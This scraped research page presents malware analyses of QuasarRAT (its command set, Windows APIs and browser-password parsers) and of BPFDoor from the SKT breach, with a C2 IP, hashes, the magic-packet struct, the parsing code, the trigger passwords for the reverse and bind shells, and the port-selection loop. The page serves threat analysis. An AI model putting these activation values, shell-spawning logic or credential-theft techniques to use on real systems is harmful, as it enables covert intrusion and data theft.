Informational Version	`2.4.6+g43df102394`
Assembly Name	`protobuf-net`
Title	`protobuf-net`
Configuration	`Release`
Public Key	`002400000480000094000000060200000024000052534131000400000100010009ed9caa457bfc205716c3d4e8b255a63ddf71c9e53b1b5f574ab6ffdba11e80ab4b50be9c46d43b75206280070ddba67bd4c830f93f0317504a76ba6a48243c36d2590695991164592767a7bbc4453b34694e31e20815a096e4483605139a32a76ec2fef196507487329c12047bf6a68bca8ee9354155f4d01daf6eec5ff6bc`
Public Key Token	`257b51d87d2e4d67`
Root Namespace	`ProtoBuf`

Deobfuscation#

Approximately 60% of the obfuscated code has been successfully recovered. The command structure and operational behavior have now been clearly identified. Below is the confirmed command structure:

File	Command	Action
`IMessage_ClientUninstall.cs`	ClientUninstall	Uninstall QuasarRAT
`IMessage_CloseConnection.cs`	CloseConnection	Close C2 Server Connection
`IMessage_GetSystemInfo.cs`	GetSystemInfo	Get System Information
`IMessage_Keylogger.cs`	Keylogger	Log Keystrokes
`IMessage_PasswordStealer.cs`	PasswordStealer	Parse Passwords from Browsers
`IMessage_Process.cs`	Process	Add/Delete/Modify Processes
`IMessage_Registry.cs`	Registry	Add/Delete/Modify Registry
`IMessage_ReverseProxy.cs`	ReverseProxy	Spawn a Reverse Proxy
`IMessage_ShellExecute.cs`	ShellExecute	Execute a Shell Command
`IMessage_ShowMessageBox.cs`	ShowMessageBox	Show a Messagebox
`IMessage_Shutdown.cs`	Shutdown	Shutdown the Device
`IMessage_StartupItem.cs`	StartupItem	Add/Delete/Modify Startup Items
`IMessage_VisitWebsite.cs`	VisitWebsite	Open a Website Link

QuasarRAT communicates with its C2 server through an object called IMessage. This IMessage object encapsulates various payloads capable of performing tasks such as keylogging, command execution, and password theft.

Below is a list of the Windows API functions utilized by QuasarRAT during its operation:

File	API	DLL
`API_Windows.cs`	LoadLibrary	`kernel32.dll`
`API_Windows.cs`	FreeLibrary	`kernel32.dll`
`API_Windows.cs`	GetProcAddress	`kernel32.dll`
`API_Windows.cs`	QueryFullProcessImageName	`kernel32.dll`
`API_Windows.cs`	BitBlt	`gdi32.dll`
`API_Windows.cs`	CreateDC	`gdi32.dll`
`API_Windows.cs`	DeleteDC	`gdi32.dll`
`API_Windows.cs`	GetLastInputInfo	`user32.dll`
`API_Windows.cs`	SetCursorPos	`user32.dll`
`API_Windows.cs`	SendInput	`user32.dll`
`API_Windows.cs`	SystemParametersInfo	`user32.dll`
`API_Windows.cs`	PostMessage	`user32.dll`
`API_Windows.cs`	OpenDesktop	`user32.dll`
`API_Windows.cs`	CloseDesktop	`user32.dll`
`API_Windows.cs`	EnumDesktopWindows	`user32.dll`
`API_Windows.cs`	IsWindowVisible	`user32.dll`
`API_Windows.cs`	GetForegroundWindow	`user32.dll`
`API_Windows.cs`	GetWindowText	`user32.dll`
`API_Windows.cs`	GetExtendedTcpTable	`iphlpapi.dll`
`API_Windows.cs`	SetTcpEntry	`iphlpapi.dll`

`API_Windows_FileAPIs.cs`	DeleteFile	`kernel32.dll`

`API_Unknown6.cs`	UrlCanonicalize	`shlwapi.dll`
`API_Unknown6.cs`	FileTimeToSystemTime	`kernel32.dll`
`API_Unknown6.cs`	SystemTimeToFileTime	`kernel32.dll`
`API_Unknown6.cs`	CompareFileTime	`kernel32.dll`
`API_Unknown6.cs`	SHGetFileInfo	`shell32.dll`

Below is the list of password in applications that QuasarRAT is capable of parsing:

Application Name	File
Chrome	`Parser_ChromeLoginData.cs`
Opera	`Parser_OperaLoginData.cs`
Yandex	`Parser_YandexLoginData.cs`
Firefox	`Parser_FirefoxLoginData.cs`
IE (Internet Explorer)	`Parser_IELoginData.cs`
FileZilla	`Parser_FileZillaLoginData.cs`
WinSCP	`Parser_WinSCPLoginData.cs`

MAL-250608-01-01

Sun, 08 Jun 2025 00:00:00 GMT

Metadata	Information
Report ID	MAL-250608-01-01
Incident Date	2022-06/15 - 2025-04/22
Report Date	2025-06/08
Malware Name	BPFDoor
Version	01
Analyst	@therustymate
Organization	Private
Severity	Critical
Status	Public/Draft
Malware Type	RAT
Detection Date	2025-04/18 06<09> PM
Affected Systems	Linux/HSS
CVE	N/A
Tags	Backdoor, ISP Hacking

Incident Report#

In the recent SKT cyberattack, threat actors gained initial access via a web shell from the external network, then penetrated into the internal network and deployed BPFdoor malware to compromise Linux-based HSS (Home Subscriber Server) systems. Approximately 9.8GB of sensitive data (ex. IMSI) was exfiltrated during the intrusion.

Incident Metadata#

Metadata	Information
Command & Control (C2) Server	165.232.174[.]130
Indicators of Compromise	165.232.174[.]130
Infection Vector	WebShell
Persistence Mechanisms	BPF-based direct kernel code execution
	Raw socket-based custom packet trigger mechanism
Payload Description	Backdoor
Network Behavior	Custom Packet Communication

File Names#

File Name	Size
dbus-srv	34KB
inode262394	28KB
dbus-srv	34KB
dbus-srv	34KB
dbus-srv	34KB
File_in_Inode_#1900667	28KB
gm	2,063KB
rad	22KB

Hashes#

File Name	Hash Type	Hash
hpasmmld	MD5	a47d96ffe446a431a46a3ea3d1ab4d6e
	SHA1	e6ccf59c2b7f6bd0f143cde356f60d2217120ad2
	SHA256	c7f693f7f85b01a8c0e561bd369845f40bff423b0743c7aa0f4c323d9133b5d4

smartadm	MD5	227fa46cf2a4517aa1870a011c79eb54
	SHA1	466527d15744cdbb6e1d71129e1798acbe95764d
	SHA256	3f6f108db37d18519f47c5e4182e5e33cc795564f286ae770aa03372133d15c4

hald-addon-volume	MD5	f4ae0f1204e25a17b2adbbab838097bd
	SHA1	e3399ea3ebbbd47c588ae807c4bd429f6eef8deb
	SHA256	95fd8a70c4b18a9a669fec6eb82dac0ba6a9236ac42a5ecde270330b66f51595

dbus-srv-bin.txt	MD5	714165b06a462c9ed3d145bc56054566
	SHA1	2ca9a29b139b7b2993cabf025b34ead957dee08b
	SHA256	aa779e83ff5271d3f2d270eaed16751a109eb722fca61465d86317e03bbf49e4
dbus-srv	MD5	3c54d788de1bf6bd2e7bc7af39270540
	SHA1	67a3a1f8338262cd9c948c6e55a22e7d9070ca6c
	SHA256	925ec4e617adc81d6fcee60876f6b878e0313a11f25526179716a90c3b743173

inode262394	MD5	fbe4d008a79f09c2d46b0bcb1ba926b3
	SHA1	0f12ab32bac3f4db543f702d58368f20b6f5d324
	SHA256	29564c19a15b06dd5be2a73d7543288f5b4e9e6668bbd5e48d3093fb6ddf1fdb

dbus-srv	MD5	c2415a464ce17d54b01fc91805f68967
	SHA1	4b6824ed764822dc422384cec89d45bbc682ef09
	SHA256	be7d952d37812b7482c1d770433a499372fde7254981ce2e8e974a67f6a088b5

dbus-srv	MD5	aba893ffb1179b2a0530fe4f0daf94da
	SHA1	213dbb5862a19a423e5b10789a07ee163ab71969
	SHA256	027b1fed1b8213b86d8faebf51879ccc9b1afec7176e31354fbac695e8daf416

dbus-srv	MD5	e2c2f1a1fbd66b4973c0373200130676
	SHA1	7e7234c5e94a92dd8f43632aca1ac60db7d96d56
	SHA256	a2ea82b3f5be30916c4a00a7759aa6ec1ae6ddadc4d82b3481640d8f6a325d59

File_in_Inode_#1900667	MD5	dc3361ce344917da20f1b8cb4ae0b31d
	SHA1	c2717777ba2cb9a698889fca884eb7650144f32e
	SHA256	e04586672874685b019e9120fcd1509d68af6f9bc513e739575fc73edefd511d

gm	MD5	a778d7ad5a23a177f2d348a0ae4099772c09671e
	SHA1	c2717777ba2cb9a698889fca884eb7650144f32e
	SHA256	adfdd11d69f4e971c87ca5b2073682d90118c0b3a3a9f5fbbda872ab1fb335c6

rad	MD5	0bcd4f14e7d8a3dc908b5c17183269a4
	SHA1	b631d5ed10d0b2c7d9c39f43402cccde7f3cb5ea
	SHA256	7c39f3c3120e35b8ab89181f191f01e2556ca558475a2803cb1f02c05c830423

References#

!!!WARNING!!! Some references may not be fully reliable.

Title	Link
KISA (boho.or.kr)	here
Namu Wiki (namu.wiki)	here
korea.kr	here

Analysis#

Function/Symbol Table#

Function	Hex Location	Description
`xchg()`	Unknown	Exchange `a` and `b` in memory
`rc4_init()`	Unknown	Initialize RC4 encryption algorithm
`rc4()`	Unknown	Perform RC4 encryption
`cwrite()`	Unknown	Cipher writer
`cread()`	Unknown	Cipher reader
`remove_pid()`	Unknown	Unlink (delete) `pid_path` file
`setup_time()`	Unknown	File timestamp manipulation (`1225394236` sec)
`terminate()`	Unknown	Process termination event
`on_terminate()`	Unknown	`SIGTERM` (Process termination) event handler
`init_signal()`	Unknown	Process termination event setup
`sig_child()`	Unknown	Child process termination event setup/handler
`ptym_open()`	Unknown	Spawn a pseudo terminal master (virtual terminal)
`ptys_open()`	Unknown	Spawn a pseudo terminal slave (PTYM input object)
`open_tty()`	Unknown	Create a teletypewriter (terminal interface)
`try_link()`	Unknown	Spawn a socket client object (reverse shell)
`mon()`	Unknown	Return `"1"` to the remote server (failed signal)
`set_proc_name()`	Unknown	Manipulate a process name through prctl syscall
`to_open()`	Unknown	Check the access permision for the shell
`logon()`	Unknown	Password verification and command handler
`packet_loop()`	Unknown	TCP, UDP, ICMP packet parser and handler
`b()`	Unknown	Spawn a socket bind server (random port)
`w()`	Unknown	Accept connections
`getshell()`	Unknown	Disable firewall and spawn a bind server
`shell()`	Unknown	Core command handler
`main()`	Unknown	Entry point with configs

Magic Packet#

The following code is the C structure of the magic packet used to activate BPFDoor.

1
struct magic_packet{
2
    unsigned int    flag;
3
    in_addr_t       ip;
4
    unsigned short  port;
5
    char   pass[14];
6
} __attribute__ ((packed));

Field	Field Type	Length	Description
flag	`unsigned int`	4 bytes	Not Used
ip	`in_addr_t`	4 bytes	C2 Server IPv4 Address
port	`unsigned short`	2 bytes	C2 Server Port Number
pass	`char [14]`	14 bytes	Password/Command

The following C code parses custom magic packets delivered over TCP, UDP, and ICMP protocols. This indicates that BPFDoor is capable of establishing remote connections through packets using TCP, UDP, and ICMP.

1
switch(ip->ip_p) {
2
    case IPPROTO_TCP:
3
        tcp = (struct sniff_tcp*)(buff+14+size_ip);
4
        size_tcp = TH_OFF(tcp)*4;
5
        mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
6
        break;
7
    case IPPROTO_UDP:
8
        udp = (struct sniff_udp *)(ip+1);
9
        mp = (struct magic_packet *)(udp+1);
10
        break;
11
    case IPPROTO_ICMP:
12
        pbuff = (char *)(ip+1);
13
        mp = (struct magic_packet *)(pbuff+8);
14
        break;
15
    default:
16
        break;
17
}

Show moreShow less

Login Password#

The login passwords received by the malware are as follows:

justforfun
socket

1
{0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
2
{0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket

1
data = [0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00]
2
for i in data:
3
    print(chr(i), end='')
4

5
>>> justforfun
6

7

8
data2 = [0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00]
9
for i in data2:
10
    print(chr(i), end='')
11

12
>>> socket

If the transmitted value is “justforfun”, the malware establishes a TCP reverse shell to connect back to the C2 server.

The function try_link() returns a TCP client socket object, which is stored in the variable scli.
This scli object is then passed as an argument to the shell() function.

If the transmitted value is “socket”, the malware sets up a bind shell server, listening for incoming connections.

The function getshell() calls another function b(), which returns a TCP listening socket (bind server).
The resulting socket is stored in the variable sockfd, which is then passed as an argument to the shell() function.

In summary, the command structure of this malware operates as follows:

justforfun command → Spawns a reverse shell
socket command → Spawns a bind shell

1
cmp = logon(mp->pass); // Check the command
2
switch(cmp) {
3
    case 1:
4
        strcpy(sip, inet_ntoa(ip->ip_src));
5
        getshell(sip, ntohs(tcp->th_dport));
6
        break;
7
    case 0:
8
        scli = try_link(bip, mp->port);
9
        if (scli > 0)
10
                shell(scli, NULL, NULL);
11
        break;
12
    case 2:
13
        mon(bip, mp->port);
14
        break;
15
}

Show moreShow less

Port Range#

When spawning a bind shell, the malware selects a random port within the range 42391 to 43390.

1
for (port = 42391; port < 43391; port++) { // 42391 - 43390
2
    my_addr.sin_port = htons(port);
3
    if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
4
        continue;
5
    }
6
    if( listen(sock_fd,1) == 0 ) {
7
        *p = port;
8
        return sock_fd;
9
    }
10
    close(sock_fd);
11
}
12
return -1;

The Rusty

BRKDEC - Anti Decompiler Research & Development

Disclaimer#

Executive Summary#

Purpose#

Scope#

Out Of Scope#

Tools & Environment#

Dev Environment#

Testing Environment#

Compilers#

Methodology#

Fundamental Concepts & Definitions#

Techniques & Strategies#

Validation Method#

Validation Standards#

Validation Assumption#

Research#

Validation#

IDA Free#

Ghidra#

Binarny Ninja#

Windows#

Limitations#

References#

PicoCTF - ropfu

ropfu#

Description#

Hints#

Resources:#

Decompile#

Analysis#

Exploit Development#

Exploit#

The End#

Result#

PoC Ring3 RootKit Development

YouTube#

Disclaimer#

How does a user mode rootkit work?#

How to hide a process information?#

How to hook a function?#

How to make a user mode rootkit?#

Conclusion#

NGP - Native Gadget Programming

Disclaimer#

NGP Operation Principle#

Youtube#

NGP PoC#

MAL-250610-01-01

Incident Metadata#

File Names#

Hashes#

References#

Blackbox Analysis#

csproj File Contents#

AssemblyInfo.cs File Contents#

ThisAssembly.cs File Contents#

Deobfuscation#

MAL-250608-01-01

Incident Report#

Incident Metadata#

File Names#

Hashes#

References#

Analysis#

Function/Symbol Table#

Magic Packet#

Login Password#

Port Range#

`csproj` File Contents#

`AssemblyInfo.cs` File Contents#

`ThisAssembly.cs` File Contents#